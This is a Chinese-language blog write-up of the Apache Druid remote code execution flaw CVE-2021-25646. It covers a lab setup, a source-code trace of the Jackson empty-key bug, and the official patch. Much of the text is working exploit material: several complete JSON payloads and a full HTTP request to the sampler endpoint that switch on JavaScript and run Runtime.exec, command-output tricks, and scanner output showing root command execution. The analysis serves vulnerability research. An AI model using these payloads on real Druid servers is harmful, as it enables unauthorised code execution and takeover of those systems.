怎样进行Apache Druid远程代码执行漏洞CVE-2021-25646分析，相信很多没有经验的人对此束手无策，为此本文总结了问题出现的原因和解决方法，通过这篇文章希望你能解决这个问题。
Apache Druid远程代码执行漏洞(CVE-2021-25646)
靶场搭建
version: "2.2"
volumes:
metadata_data: {}
middle_var: {}
historical_var: {}
broker_var: {}
coordinator_var: {}
router_var: {}
services:
postgres:
container_name: postgres
image: postgres:latest
volumes:
- metadata_data:/var/lib/postgresql/data
environment:
- POSTGRES_PASSWORD=FoolishPassword
- POSTGRES_USER=druid
- POSTGRES_DB=druid
# Need 3.5 or later for container nodes
zookeeper:
container_name: zookeeper
image: zookeeper:3.5
environment:
- ZOO_MY_ID=1
coordinator:
image: apache/druid:0.20.0
container_name: coordinator
volumes:
- ./storage:/opt/data
- coordinator_var:/opt/druid/var
depends_on:
- zookeeper
- postgres
ports:
- "8081:8081"
command:
- coordinator
env_file:
- environment
broker:
image: apache/druid:0.20.0
container_name: broker
volumes:
- broker_var:/opt/druid/var
depends_on:
- zookeeper
- postgres
- coordinator
ports:
- "8082:8082"
command:
- broker
env_file:
- environment
historical:
image: apache/druid:0.20.0
container_name: historical
volumes:
- ./storage:/opt/data
- historical_var:/opt/druid/var
depends_on:
- zookeeper
- postgres
- coordinator
ports:
- "8083:8083"
command:
- historical
env_file:
- environment
middlemanager:
image: apache/druid:0.20.0
container_name: middlemanager
volumes:
- ./storage:/opt/data
- middle_var:/opt/druid/var
depends_on:
- zookeeper
- postgres
- coordinator
ports:
- "8091:8091"
command:
- middleManager
env_file:
- environment
router:
image: apache/druid:0.20.0
container_name: router
volumes:
- router_var:/opt/druid/var
depends_on:
- zookeeper
- postgres
- coordinator
ports:
- "8888:8888"
command:
- router
env_file:
- environment
environment
# Java tuning
DRUID_XMX=1g
DRUID_XMS=1g
DRUID_MAXNEWSIZE=250m
DRUID_NEWSIZE=250m
DRUID_MAXDIRECTMEMORYSIZE=6172m
druid_emitter_logging_logLevel=debug
druid_extensions_loadList=["druid-histogram", "druid-datasketches", "druid-lookups-cached-global", "postgresql-metadata-storage"]
druid_zk_service_host=zookeeper
druid_metadata_storage_host=
druid.javascript.enabled = true
druid_metadata_storage_type=postgresql
druid_metadata_storage_connector_connectURI=jdbc:postgresql://postgres:5432/druid
druid_metadata_storage_connector_user=druid
druid_metadata_storage_connector_password=FoolishPassword
druid_coordinator_balancer_strategy=cachingCost
druid_indexer_runner_javaOptsArray=["-server", "-Xmx1g", "-Xms1g", "-XX:MaxDirectMemorySize=4g", "-Duser.timezone=UTC", "-Dfile.encoding=UTF-8", "-Djava.util.logging.manager=org.apache.logging.log4j.jul.LogManager"]
druid_indexer_fork_property_druid_processing_buffer_sizeBytes=268435456
druid_storage_type=local
druid_storage_storageDirectory=/opt/data/segments
druid_indexer_logs_type=file
druid_indexer_logs_directory=/opt/data/indexing-logs
druid_processing_numThreads=2
druid_processing_numMergeBuffers=2
DRUID_LOG4J=<?xml version="1.0" encoding="UTF-8" ?><Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{ISO8601} %p [%t] %c - %m%n"/></Console></Appenders><Loggers><Root level="info"><AppenderRef ref="Console"/></Root><Logger name="org.apache.druid.jetty.RequestLog" additivity="false" level="DEBUG"><AppenderRef ref="Console"/></Logger></Loggers></Configuration>
漏洞分析
本文讲述下，在没有漏洞详情的情况下怎么去寻找漏洞点。
Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.
通过cve的信息，可以推测出Druid在0.20版本以及之前版本存在可以通过javascript来执行代码
由于javascript来执行命令，那就要找到js解析的引擎。
通过查询文档发现Apache Druid内置了Rhino。
Rhino是一个可以将嵌入在JavaScript中的Java代码解析并执行的解析器。该功能是为了能够动态的扩展Druid的功能，默认禁用的。
//core/src/main/java/org/apache/druid/js/JavaScriptConfig.java
@PublicApi
public class JavaScriptConfig
{
public static final int DEFAULT_OPTIMIZATION_LEVEL = 9;
private static final JavaScriptConfig ENABLED_INSTANCE = new JavaScriptConfig(true);
@JsonProperty
private final boolean enabled;
@JsonCreator
public JavaScriptConfig(
@JsonProperty("enabled") boolean enabled
)
{
this.enabled = enabled;
}
可以看到通过enabled来控制是否开启，那我们只要找到哪些地方可以控制，就可以利用。
这里挑选一个利用流程讲，拿javaScriptDimFilter.java为例
indexing-service/src/main/java/org/apache/druid/indexing/overlord/sampler/IndexTaskSamplerSpec.java
public class IndexTaskSamplerSpec implements SamplerSpec
{
@Nullable
private final DataSchema dataSchema;
private final InputSource inputSource;
/**
* InputFormat can be null if {@link InputSource#needsFormat()} = false.
*/
@Nullable
private final InputFormat inputFormat;
@Nullable
private final SamplerConfig samplerConfig;
private final InputSourceSampler inputSourceSampler;
@JsonCreator
public IndexTaskSamplerSpec(
@JsonProperty("spec") final IndexTask.IndexIngestionSpec ingestionSpec,
@JsonProperty("samplerConfig") @Nullable final SamplerConfig samplerConfig,
@JacksonInject InputSourceSampler inputSourceSampler
)
->
server/src/main/java/org/apache/druid/segment/indexing/DataSchema.java
DataSchema
@JsonCreator
public DataSchema(
@JsonProperty("dataSource") String dataSource,
@JsonProperty("timestampSpec") @Nullable TimestampSpec timestampSpec, // can be null in old task spec
@JsonProperty("dimensionsSpec") @Nullable DimensionsSpec dimensionsSpec, // can be null in old task spec
@JsonProperty("metricsSpec") AggregatorFactory[] aggregators,
@JsonProperty("granularitySpec") GranularitySpec granularitySpec,
@JsonProperty("transformSpec") TransformSpec transformSpec,
@Deprecated @JsonProperty("parser") @Nullable Map<String, Object> parserMap,
@JacksonInject ObjectMapper objectMapper
)
->
processing/src/main/java/org/apache/druid/segment/transform/TransformSpec.java
class TransformSpec
@JsonCreator
public TransformSpec(
@JsonProperty("filter") final DimFilter filter,
@JsonProperty("transforms") final List<Transform> transforms
)
->
processing/src/main/java/org/apache/druid/query/filter/DimFilter.java
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes(value = {
@JsonSubTypes.Type(name = "and", value = AndDimFilter.class),
@JsonSubTypes.Type(name = "or", value = OrDimFilter.class),
@JsonSubTypes.Type(name = "not", value = NotDimFilter.class),
@JsonSubTypes.Type(name = "selector", value = SelectorDimFilter.class),
@JsonSubTypes.Type(name = "columnComparison", value = ColumnComparisonDimFilter.class),
@JsonSubTypes.Type(name = "extraction", value = ExtractionDimFilter.class),
@JsonSubTypes.Type(name = "regex", value = RegexDimFilter.class),
@JsonSubTypes.Type(name = "search", value = SearchQueryDimFilter.class),
@JsonSubTypes.Type(name = "javascript", value = JavaScriptDimFilter.class),
@JsonSubTypes.Type(name = "spatial", value = SpatialDimFilter.class),
@JsonSubTypes.Type(name = "in", value = InDimFilter.class),
@JsonSubTypes.Type(name = "bound", value = BoundDimFilter.class),
@JsonSubTypes.Type(name = "interval", value = IntervalDimFilter.class),
@JsonSubTypes.Type(name = "like", value = LikeDimFilter.class),
@JsonSubTypes.Type(name = "expression", value = ExpressionDimFilter.class),
@JsonSubTypes.Type(name = "true", value = TrueDimFilter.class),
@JsonSubTypes.Type(name = "false", value = FalseDimFilter.class)
})
->
processing/src/main/java/org/apache/druid/query/filter/JavaScriptDimFilter.java
@JsonCreator
public JavaScriptDimFilter(
@JsonProperty("dimension") String dimension,
@JsonProperty("function") String function,
@JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
@JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
@JacksonInject JavaScriptConfig config
)
->
core/src/main/java/org/apache/druid/js/JavaScriptConfig.java
@JsonCreator
public JavaScriptConfig(
@JsonProperty("enabled") boolean enabled
)
{
this.enabled = enabled;
}
现在就剩下怎么去修改config配置来达到开启javascript的功能，通过查看官方补丁https://github.com/apache/druid/pull/10818
core/src/main/java/org/apache/druid/guice/GuiceAnnotationIntrospector.java
// We should not allow empty names in any case. However, there is a known bug in Jackson deserializer // with ignorals (_arrayDelegateDeserializer is not copied when creating a contextual deserializer. // See https://github.com/FasterXML/jackson-databind/issues/3022 for more details), which makes array // deserialization failed even when the array is a valid field. To work around this bug, we return // an empty ignoral when the given Annotated is a parameter with JsonProperty that needs to be deserialized. // This is valid because every property with JsonProperty annoation should have a non-empty name. // We can simply remove the below check after the Jackson bug is fixed. // // This check should be fine for so-called delegate creators that have only one argument without // JsonProperty annotation, because this method is not even called for the argument of // delegate creators. I'm not 100% sure why it's not called, but guess it's because the argument // is some Java type that Jackson already knows how to deserialize. Since there is only one argument, // Jackson perhaps is able to just deserialize it without introspection.
可以从补丁文件GuiceAnnotationIntrospector.java的注释中了解到，即使某个键值对的key是空的，jackson仍然会在特定情况下将其解析，并将key为空的值传给没有被@JsonProperty修饰的属性。注释中也给出了jackson issues的链接，里面阐述了这个问题。
@JsonCreator用于在json反序列化时指明调用特定构造方法。
@JsonProperty用于属性上，作用是把该属性的名称序列化为另外一个名称，比如@JsonProperty("before") String after，会将json里key为before的内容解析到after变量上。
当注解@JsonCreator修饰方法时(@JsonCreator用于在json反序列化时指明调用特定构造方法)
，方法的所有参数都会被解析成CreatorProperty类型，如果属性没有被@JsonProperty修饰，就会创建一个name为""的CreatorProperty，Jackson会将用户输入的key为""的value赋值给该属性。
基于这个问题，我们可以在符合上述条件的情况下，通过传入json格式的数据，覆盖特定值。
在上面的代码中，config是没有被@JsonProperty修饰的，因此当用户传入key为空的键值对时，形如{"":"ParseToConfig"}，ParseToConfig会被解析到config变量上。 (ParseToConfig不是JavaScriptConfig类型，此处仅作为简单演示)
因此此处可以在开发者预期外控制config变量，继续看看JavaScriptConfig类中做了哪些事。
我们需要构造"": { "enabled": true }去开启javascript enabled
完整的数据包可以根据代码来生成或直接README中搜索，存在很多示例。
JavaScript解析入口
//org.apache.druid.query.filter.JavaScriptDimFilter
public boolean applyInContext(Context cx, Object input)
{
if (extractionFn != null) {
input = extractionFn.apply(input);
}
return Context.toBoolean(fnApply.call(cx, scope, scope, new Object[]{input}));
}
新旧版本差异
在测试旧版本0.15.0的时候发现poc不通用，提示[spec.ioConfig.firehose] is required,查看对应代码
//indexing-service/src/main/java/org/apache/druid/indexing/overlord/sampler/IndexTaskSamplerSpec.java
@JsonCreator
public IndexTaskSamplerSpec(
@JsonProperty("spec") final IndexTask.IndexIngestionSpec ingestionSpec,
@JsonProperty("samplerConfig") final SamplerConfig samplerConfig,
@JacksonInject FirehoseSampler firehoseSampler
@JsonProperty("samplerConfig") @Nullable final SamplerConfig samplerConfig,
@JacksonInject InputSourceSampler inputSourceSampler
)
{
this.dataSchema = Preconditions.checkNotNull(ingestionSpec, "[spec] is required").getDataSchema();
Preconditions.checkNotNull(ingestionSpec.getIOConfig(), "[spec.ioConfig] is required");
this.firehoseFactory = Preconditions.checkNotNull(
ingestionSpec.getIOConfig().getFirehoseFactory(),
"[spec.ioConfig.firehose] is required"
);
if (ingestionSpec.getIOConfig().getInputSource() != null) {
this.inputSource = ingestionSpec.getIOConfig().getInputSource();
if (ingestionSpec.getIOConfig().getInputSource().needsFormat()) {
this.inputFormat = Preconditions.checkNotNull(
ingestionSpec.getIOConfig().getInputFormat(),
"[spec.ioConfig.inputFormat] is required"
);
} else {
this.inputFormat = null;
}
} else {
final FirehoseFactory firehoseFactory = Preconditions.checkNotNull(
ingestionSpec.getIOConfig().getFirehoseFactory(),
"[spec.ioConfig.firehose] is required"
);
if (!(firehoseFactory instanceof FiniteFirehoseFactory)) {
throw new IAE("firehose should be an instance of FiniteFirehoseFactory");
}
this.inputSource = new FirehoseFactoryToInputSourceAdaptor(
(FiniteFirehoseFactory) firehoseFactory,
ingestionSpec.getDataSchema().getParser()
);
this.inputFormat = null;
}
this.samplerConfig = samplerConfig;
this.firehoseSampler = firehoseSampler;
this.inputSourceSampler = inputSourceSampler;
}
文件历史上做了3次修改，旧版firehose是必传,这里注意一点，firehose在0.15.0版本type还没有inline,用其他类型替代。
0.20.0 POC
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "inline",
"data": "{/"timestamp/":/"2020-12-12T12:10:21.040Z/",/"xxx/":/"x/"}"
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso"
},
"dimensionsSpec": {},
"transformSpec": {
"transforms": [],
"filter": {
"type": "javascript",
"dimension": "added",
"function": "function(value) {java.lang.Runtime.getRuntime().exec('command')}",
"": {
"enabled": true
}
}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
修改POC,inputSource改成firehose,inputFormat新版才有，为了兼容老版本去除。使用parser去解析文件
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"firehose": {
"type": "local",
"baseDir": "/xxx",
"filter": "xxx"
}
},
"dataSchema": {
"dataSource": "%%DATASOURCE%%",
"parser": {
"parseSpec": {
"format": "json",
"timestampSpec": {},
"dimensionsSpec": {},
}
}
}
},
"samplerConfig": {
"numRows": 10
}
}
曲折的命令回显
作为扫描器的POC要兼容新老版本，还要做到精准检测，单单的命令执行没有回显肯定不行（要考虑不出网的情况）
回显思路
1.获取全局的request，response,来修改当前CurrentThread的resposne内容
2.报错回显
3.写入文件，读取文件
4.linux socket的文件描述符（Druid不能在windows安装）
5. …..
读写文件回显法
通过命令执行，把结果使用jackson的包把json格式的结果写入到/tmp下
function(value){var a=new java.io.BufferedWriter(new java.io.FileWriter(/"/tmp/123.json/"));var cmd =java.lang.Runtime.getRuntime().exec(/"{{command}}/");var test = new com.fasterxml.jackson.databind.ObjectMapper();var jsonObj = test.createObjectNode();jsonObj.put(/"time/",/"2015-09-12T00:46:58.771Z/");jsonObj.put(/"test/",new java.util.Scanner(cmd.getInputStream()).useDelimiter(/"//A/").next());a.write(jsonObj.toString());a.close();
通过写文件，然后在利用druid的任意文件读取来获取命令结果
但是这里有个坑，因为想要编写通用新旧版本POC，导致不能使用inline,我这里采用了local方式,但是读取的文件如果是格式错误的，导致异常退出，流程没有走到命令执行的地方。
这里就有了前置条件
找到合法的解析文件让他不报错（新版可以直接只用inline不报错，无影响)
这种方式肯定不是我们想要的，继续看代码分析，后来找到了parse下也可以执行function函数, 然后刚好是在解析时候执行的命令，在异常前执行完毕命令。
{
"dataSchema": {
"dataSource": "%%DATASOURCE%%",
"parser": {
"parseSpec": {
"format": "javascript",
"timestampSpec": {},
"dimensionsSpec": {},
"function": "function(){ xxxx }}",
"": {
"enabled": "true"
}
}
}
}
}
直接命令回显
在看parseSpec文档的时候，发现function可以直接修改回显内容，return的内容为{key:value}
改进POC，直接页面输出命令结果
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"firehose": {
"type": "local",
"baseDir": "/etc",
"filter": "passwd"
}
},
"dataSchema": {
"dataSource": "%%DATASOURCE%%",
"parser": {
"parseSpec": {
"format": "javascript",
"timestampSpec": {},
"dimensionsSpec": {},
"function": "function(){var s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(/"{{command}}/").getInputStream()).useDelimiter(/"//A/").next();return {timestamp:/"2013-09-01T12:41:27Z/",test: s}}",
"": {
"enabled": "true"
}
}
}
}
},
"samplerConfig": {
"numRows": 10
}
}
漏洞修复
升级到Apache Druid 0.20.1。
加强访问控制，禁止未授权用户访问web管理页面。
官方代码修复：
//org.apache.druid.guice.GuiceAnnotationIntrospector
@Override
public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
{
if (ac instanceof AnnotatedParameter) {
final AnnotatedParameter ap = (AnnotatedParameter) ac;
if (ap.hasAnnotation(JsonProperty.class)) {
return JsonIgnoreProperties.Value.empty();
}
}
return JsonIgnoreProperties.Value.forIgnoredProperties("");
}
重写了Jackson的findPropertyIgnorals方法
//com.fasterxml.jackson.databind.AnnotationIntrospector
public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
{
// 18-Oct-2016, tatu: Used to call deprecated methods for backwards
// compatibility in 2.8, but not any more in 2.9
return JsonIgnoreProperties.Value.empty();
}
在这个方法里，返回了JsonIgnoreProperties.Value.empty()。这意味着Jackson允许一个name为空的属性。
而修复后的代码判断逻辑为：当属性被@JsonProperty修饰，则允许为空，如果属性没有被@JsonProperty修饰，则不允许为空。
漏洞利用
POST /druid/indexer/v1/sampler HTTP/1.1
Host: localhost:8888
Accept: application/json, text/plain
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 902
Connection: keep-alive
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"firehose": {
"type": "local",
"baseDir": "/etc",
"filter": "passwd"
}
},
"dataSchema": {
"dataSource": "%%DATASOURCE%%",
"parser": {
"parseSpec": {
"format": "javascript",
"timestampSpec": {},
"dimensionsSpec": {},
"function": "function(){var s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(/"{{command}}/").getInputStream()).useDelimiter(/"//A/").next();return {timestamp:/"2013-09-01T12:41:27Z/",test: s}}",
"": {
"enabled": "true"
}
}
}
}
},
"samplerConfig": {
"numRows": 10
}
}
PSF案例
╭─huakai at huakai-deMacBook-Pro in ⌁/go/src/phenixsuite (develop ●4✚7…1⚑70) ╰─λ ./phenixsuite scan --poc static/pocs/apache-druid-cve-2021-25646-rce-attack.yml --url http://127.0.0.1:8888 --mode attack --options shell 127 < 00:00:00 < 11:20:26 input command (require): id 2021/02/04 11:20:47 scan.go:496: [INFO ] attack poc-yaml-apache-druid-cve-2021-25646-rce-attack 2021/02/04 11:20:47 scan.go:142: [INFO ] scan poc num:1 total:1 2021/02/04 11:20:48 scan.go:633: [INFO ] poc:poc-yaml-apache-druid-cve-2021-25646-rce-attack execute success 2021/02/04 11:20:48 scan.go:313: [INFO ] vul exist poc:poc-yaml-apache-druid-cve-2021-25646-rce-attack url:http://127.0.0.1:8888 # target-url poc-name gev-id level category status author require detail-extend --- ----------------------- ------------------------------------------------- ------------ ---------- ----------- -------- -------- --------- ------------------------------------------- 1 http://127.0.0.1:8888 poc-yaml-apache-druid-cve-2021-25646-rce-attack GEV-143659 critical code-exec exist huakai uid=0(root) gid=0(root) groups=0(root)//n
看完上述内容，你们掌握怎样进行Apache Druid远程代码执行漏洞CVE-2021-25646分析的方法了吗？如果还想学到更多技能或想了解更多相关内容，欢迎关注亿速云行业资讯频道，感谢各位的阅读！
原创文章，作者：506227337，如若转载，请注明出处：https://blog.ytso.com/220284.html